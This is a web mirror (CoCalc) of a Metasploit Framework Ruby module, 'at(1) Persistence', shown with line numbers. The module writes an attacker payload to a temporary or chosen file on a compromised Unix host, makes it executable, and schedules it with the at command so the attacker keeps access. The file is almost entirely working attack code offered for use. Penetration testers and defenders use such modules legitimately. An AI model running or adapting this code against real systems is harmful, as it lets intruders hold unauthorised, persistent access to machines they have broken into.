CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/local/at_persistence.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'at(1) Persistence',
17
'Description' => %q{
18
This module achieves persistence by executing payloads via at(1).
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Jon Hart <[email protected]>'
23
],
24
'Targets' => [['Automatic', {} ]],
25
'DefaultTarget' => 0,
26
'Platform' => %w[unix],
27
'Arch' => ARCH_CMD,
28
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
29
'Notes' => {
30
'Reliability' => [REPEATABLE_SESSION],
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
33
}
34
)
35
)
36
37
register_options([
38
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
39
])
40
41
register_advanced_options([
42
OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
43
])
44
end
45
46
def check
47
token = Rex::Text.rand_text_alphanumeric(8)
48
if cmd_exec("atq && echo #{token}").include?(token)
49
CheckCode::Vulnerable
50
else
51
CheckCode::Safe
52
end
53
end
54
55
def exploit
56
unless check == Exploit::CheckCode::Vulnerable
57
fail_with(Failure::NoAccess, 'User denied cron via at.deny')
58
end
59
60
unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
61
fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
62
end
63
64
write_file(payload_file, payload.encoded)
65
register_files_for_cleanup(payload_file)
66
67
cmd_exec("chmod 700 #{payload_file}")
68
cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
69
70
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
71
end
72
end
73
74